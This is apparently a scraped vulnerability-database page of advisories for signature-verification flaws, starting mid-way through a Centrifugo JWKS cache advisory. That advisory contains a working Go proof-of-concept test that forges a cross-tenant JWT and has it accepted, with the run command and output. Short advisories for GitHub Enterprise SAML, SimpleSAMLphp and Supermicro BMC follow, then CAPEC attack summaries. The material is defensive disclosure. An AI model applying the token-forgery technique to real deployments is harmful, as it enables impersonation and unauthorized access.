m.cache.Get(kid)\n        if err == nil {\n            return key, nil\n        }\n    }\n\n    v, err, _ := m.group.Do(kid, func() (any, error) {\n        return m.fetchKey(ctx, kid, tokenVars)\n    })\n```\n\nThe resolved JWKS URL is computed only later in `internal/jwks/manager.go:133-149`:\n\n```go\nfunc (m *Manager) fetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {\n    jwkURL := m.url.ExecuteString(tokenVars)\n    ...\n    req, err := http.NewRequestWithContext(ctx, http.MethodGet, jwkURL, nil)\n```\n\nThe TTL cache also stores and retrieves keys only by `kid` at `internal/jwks/cache_ttl.go:82-101`:\n\n```go\nfunc (tc *TTLCache) Add(key *JWK) error {\n    ...\n    tc.items[key.Kid] = item\n}\n\nfunc (tc *TTLCache) Get(kid string) (*JWK, error) {\n    ...\n    item, ok := tc.items[kid]\n```\n\nAs a result, a key fetched from tenant A\u0027s JWKS endpoint can be reused to verify a token claiming tenant B before tenant B\u0027s JWKS endpoint is consulted.\n\nI also reviewed the template safety mitigation in `internal/jwtverify/validate.go:99-154`. It restricts placeholder regex groups to finite literal alternatives, which helps prevent arbitrary endpoint substitution, but it does not scope cached keys by the resolved endpoint or issuer/audience namespace. The PoC uses a validator-accepted issuer regex: `^(?P\u003ctenant\u003etenant-a|tenant-b)$`.\n\n#### PoC\n\nThis is a safe local-only unit test using `httptest.Server` and generated RSA key pairs. It does not contact external systems.\n\nFrom a clean checkout of `centrifugal/centrifugo` at commit `458ee0500f046877d7e8375e32f5e842bc95535b`, add this file as `internal/jwtverify/jwks_cache_poc_test.go`:\n\n```go\npackage jwtverify\n\nimport (\n    \"crypto/rsa\"\n    \"encoding/json\"\n    \"net/http\"\n    \"net/http/httptest\"\n    \"sync/atomic\"\n    \"testing\"\n    \"time\"\n\n    \"github.com/centrifugal/centrifugo/v6/internal/config\"\n\n    \"github.com/cristalhq/jwt/v5\"\n    \"github.com/stretchr/testify/require\"\n)\n\nfunc writeRSAJWKS(t *testing.T, w http.ResponseWriter, pubKey *rsa.PublicKey, kid string) {\n    t.Helper()\n    resp := map[string]any{\n        \"keys\": []map[string]string{\n            {\n                \"alg\": \"RS256\",\n                \"kty\": \"RSA\",\n                \"use\": \"sig\",\n                \"kid\": kid,\n                \"n\":   encodeToString(pubKey.N.Bytes()),\n                \"e\":   encodeUint64ToString(uint64(pubKey.E)),\n            },\n        },\n    }\n    w.Header().Set(\"Content-Type\", \"application/json\")\n    require.NoError(t, json.NewEncoder(w).Encode(resp))\n}\n\nfunc getRSAIssuerConnToken(t *testing.T, user string, issuer string, rsaPrivateKey *rsa.PrivateKey, kid string) string {\n    t.Helper()\n    signer, err := jwt.NewSignerRS(jwt.RS256, rsaPrivateKey)\n    require.NoError(t, err)\n    builder := jwt.NewBuilder(signer, jwt.WithKeyID(kid))\n    claims := \u0026ConnectTokenClaims{\n        Base64Info: \"e30=\",\n        RegisteredClaims: jwt.RegisteredClaims{\n            Subject:   user,\n            Issuer:    issuer,\n            ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour)),\n        },\n    }\n    token, err := builder.Build(claims)\n    require.NoError(t, err)\n    return token.String()\n}\n\nfunc TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC(t *testing.T) {\n    const kid = \"shared-kid\"\n\n    tenantAPrivateKey, tenantAPublicKey := generateTestRSAKeys(t)\n    tenantBPrivateKey, tenantBPublicKey := generateTestRSAKeys(t)\n\n    var tenantARequests int32\n    var tenantBRequests int32\n\n    ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n        switch r.URL.Path {\n        case \"/tenant-a/jwks.json\":\n            atomic.AddInt32(\u0026tenantARequests, 1)\n            writeRSAJWKS(t, w, tenantAPublicKey, kid)\n        case \"/tenant-b/jwks.json\":\n            atomic.AddInt32(\u0026tenantBRequests, 1)\n            writeRSAJWKS(t, w, tenantBPublicKey, kid)\n        default:\n            http.NotFound(w, r)\n        }\n    }))\n    defer ts.Close()\n\n    cfg := config.DefaultConfig()\n    cfgContainer, err := config.NewContainer(cfg)\n    require.NoError(t, err)\n\n    newVerifier := func() *VerifierJWT {\n        verifier, err := NewTokenVerifierJWT(VerifierConfig{\n            JWKSPublicEndpoint: ts.URL + \"/{{tenant}}/jwks.json\",\n            IssuerRegex:        `^(?P\u003ctenant\u003etenant-a|tenant-b)$`,\n        }, cfgContainer)\n        require.NoError(t, err)\n        return verifier\n    }\n\n    legitimateTenantAToken := getRSAIssuerConnToken(t, \"tenant-a-user\", \"tenant-a\", tenantAPrivateKey, kid)\n    legitimateTenantBToken := getRSAIssuerConnToken(t, \"tenant-b-user\", \"tenant-b\", tenantBPrivateKey, kid)\n    forgedTenantBToken := getRSAIssuerConnToken(t, \"victim\", \"tenant-b\", tenantAPrivateKey, kid)\n\n    ct, err := newVerifier().VerifyConnectToken(legitimateTenantBToken, false)\n    require.NoError(t, err)\n    require.Equal(t, \"tenant-b-user\", ct.UserID)\n\n    _, err = newVerifier().VerifyConnectToken(forgedTenantBToken, false)\n    require.Error(t, err)\n\n    verifier := newVerifier()\n    ct, err = verifier.VerifyConnectToken(legitimateTenantAToken, false)\n    require.NoError(t, err)\n    require.Equal(t, \"tenant-a-user\", ct.UserID)\n\n    tenantBRequestsBeforeForge := atomic.LoadInt32(\u0026tenantBRequests)\n    ct, err = verifier.VerifyConnectToken(forgedTenantBToken, false)\n    require.NoError(t, err)\n    require.Equal(t, \"victim\", ct.UserID)\n    require.Equal(t, tenantBRequestsBeforeForge, atomic.LoadInt32(\u0026tenantBRequests))\n}\n```\n\nRun the focused test with the project-supported Go toolchain:\n\n```bash\ngo test ./internal/jwtverify -run TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC -count=1 -v\n```\n\nObserved vulnerable output in my local test environment using Go 1.26.3:\n\n```text\n=== RUN   TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC\n{\"level\":\"info\",\"endpoint\":\"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json\",\"time\":\"2026-05-21T23:49:28+07:00\",\"message\":\"JWKS manager created\"}\n{\"level\":\"info\",\"endpoint\":\"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json\",\"time\":\"2026-05-21T23:49:28+07:00\",\"message\":\"JWKS manager created\"}\n{\"level\":\"info\",\"endpoint\":\"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json\",\"time\":\"2026-05-21T23:49:28+07:00\",\"message\":\"JWKS manager created\"}\n--- PASS: TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC (0.07s)\nPASS\nok  \tgithub.com/centrifugal/centrifugo/v6/internal/jwtverify\t0.088s\n```\n\nThe passing test demonstrates the vulnerable behavior because it asserts these controls:\n\n1. A legitimate tenant-B token signed by tenant B succeeds with a fresh verifier.\n2. A forged tenant-B token signed by tenant A fails with a fresh verifier.\n3. A legitimate tenant-A token succeeds and primes the JWKS cache with tenant A\u0027s `shared-kid` key.\n4. The forged tenant-B token signed by tenant A then succeeds with user ID `victim`.\n5. The tenant-B JWKS request counter does not increase during forged verification, proving the forged token was accepted from the cross-tenant cache hit rather than from tenant B\u0027s JWKS endpoint.\n\nExpected behavior after a fix: the forged tenant-B token should remain rejected after tenant A primes the cache, or the verifier should fetch/consult tenant B\u0027s independent JWKS cache namespace before verification.\n\n#### Impact\n\nThis is a cross-issuer / cross-tenant JWT authentication bypass in dynamic JWKS deployments.\n\nImpacted deployments are those that use dynamic JWKS endpoint templates to select different JWKS URLs for different allowed issuers or audiences, for example multi-tenant deployments using `{{tenant}}` values extracted from `iss` or `aud`.\n\nAn attacker who can obtain or mint a valid token for one allowed issuer/tenant can authenticate as another allowed issuer/tenant if both JWKS documents use the same `kid` value and the attacker\u0027s issuer key is cached first. `kid` values are not globally unique by specification and are often operational labels such as `current`, `default`, or rotation identifiers, so the verifier should not rely on `kid` uniqueness across different JWKS trust domains.\n\nPotential consequences include:\n\n- Authentication as a user in another issuer/tenant namespace.\n- Unauthorized connection-token acceptance.\n- Unauthorized subscription-token acceptance where separate subscription JWTs are configured.\n- Cross-tenant confidentiality and integrity impact when issuer-derived JWKS endpoints are used as separate trust domains.\n\n#### Suggested remediation\n\nScope JWKS cache entries and `singleflight` keys to the resolved JWKS trust domain, not only to the JWT `kid`.\n\nFor dynamic endpoints, compute the endpoint namespace before cache lookup and use a composite cache key such as:\n\n```text\nresolved_jwks_url + \"\\x00\" + kid\n```\n\nor an equivalent canonical trust-domain identifier plus `kid`.\n\nThe same composite namespace should be used for:\n\n- TTL cache lookup.\n- TTL cache storage.\n- `singleflight.Group.Do` keys.\n\nA regression test should prime tenant A\u0027s cache and then verify that a forged tenant-B token signed by tenant A remains rejected.",
  "id": "GHSA-g6vg-wj8f-48cj",
  "modified": "2026-07-01T20:28:52Z",
  "published": "2026-07-01T20:28:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/centrifugal/centrifugo/security/advisories/GHSA-g6vg-wj8f-48cj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/centrifugal/centrifugo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Centrifugo\u0027s dynamic JWKS key cache keyed only by `kid` allows cross-issuer JWT authentication bypass"
}

GHSA-G83H-4727-5RPV

Vulnerability from github – Published: 2024-10-11 00:31 – Updated: 2024-11-15 18:30
VLAI
Details

An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowed SAML SSO authentication to be bypassed resulting in unauthorized provisioning of users and access to the instance. Exploitation required the encrypted assertions feature to be enabled, and the attacker would require direct network access as well as a signed SAML response or metadata document. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.15 and was fixed in versions 3.11.16, 3.12.10, 3.13.5, and 3.14.2. This vulnerability was reported via the GitHub Bug Bounty program.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
9.5 (Critical)
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/R:U/V:C/RE:M/U:Red
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-9487"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-10T22:15:11Z",
    "severity": "CRITICAL"
  },
  "details": "An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowed SAML SSO authentication to be bypassed resulting in unauthorized provisioning of users and access to the instance. Exploitation required the encrypted assertions feature to be enabled, and the attacker would require direct network access as well as a signed SAML response or metadata document. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.15 and was fixed in versions 3.11.16, 3.12.10, 3.13.5, and 3.14.2. This vulnerability was reported via the GitHub Bug Bounty program.",
  "id": "GHSA-g83h-4727-5rpv",
  "modified": "2024-11-15T18:30:47Z",
  "published": "2024-10-11T00:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9487"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.11/admin/release-notes#3.11.16"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.12/admin/release-notes#3.12.10"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.13/admin/release-notes#3.13.5"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.14/admin/release-notes#3.14.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:U/V:C/RE:M/U:Red",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-G888-G2PP-82HF

Vulnerability from github – Published: 2022-05-14 03:34 – Updated: 2023-07-25 20:55
VLAI
Summary
SimpleSAMLphp saml2 incorrect signature validation
Details

HTTPRedirect.php in the saml2 library in SimpleSAMLphp before 1.15.4 has an incorrect check of return values in the signature validation utilities, allowing an attacker to get invalid signatures accepted as valid by forcing an error during validation. This occurs because of a dependency on PHP functionality that interprets a -1 error code as a true boolean value.

Severity
8.1 (High)
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "simplesamlphp/saml2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "simplesamlphp/saml2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0"
            },
            {
              "fixed": "2.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "simplesamlphp/saml2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0"
            },
            {
              "fixed": "3.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-7711"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-25T20:55:06Z",
    "nvd_published_at": "2018-03-05T22:29:00Z",
    "severity": "HIGH"
  },
  "details": "HTTPRedirect.php in the saml2 library in SimpleSAMLphp before 1.15.4 has an incorrect check of return values in the signature validation utilities, allowing an attacker to get invalid signatures accepted as valid by forcing an error during validation. This occurs because of a dependency on PHP functionality that interprets a -1 error code as a true boolean value.",
  "id": "GHSA-g888-g2pp-82hf",
  "modified": "2023-07-25T20:55:06Z",
  "published": "2022-05-14T03:34:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7711"
    },
    {
      "type": "WEB",
      "url": "https://github.com/simplesamlphp/saml2/commit/4f6af7f69f29df8555a18b9bb7b646906b45924d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/simplesamlphp/saml2/CVE-2018-7711.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/03/msg00017.html"
    },
    {
      "type": "WEB",
      "url": "https://simplesamlphp.org/security/201803-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SimpleSAMLphp saml2 incorrect signature validation"
}

GHSA-GCFH-VW6R-JGV8

Vulnerability from github – Published: 2025-09-19 03:30 – Updated: 2025-09-19 03:30
VLAI
Details

There is a vulnerability in the Supermicro BMC firmware validation logic at Supermicro MBD-X12STW . An attacker can update the system firmware with a specially crafted image.

Severity
6.6 (Medium)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-7937"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-19T03:15:50Z",
    "severity": "MODERATE"
  },
  "details": "There is a vulnerability in the Supermicro BMC firmware validation logic at Supermicro MBD-X12STW . An attacker can update the system firmware with a specially crafted image.",
  "id": "GHSA-gcfh-vw6r-jgv8",
  "modified": "2025-09-19T03:30:52Z",
  "published": "2025-09-19T03:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7937"
    },
    {
      "type": "WEB",
      "url": "https://www.supermicro.com/en/support/security_BMC_IPMI_Sept_2025"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-463: Padding Oracle Crypto Attack

An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.

CAPEC-475: Signature Spoofing by Improper Validation

An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.

← Back to the CWE list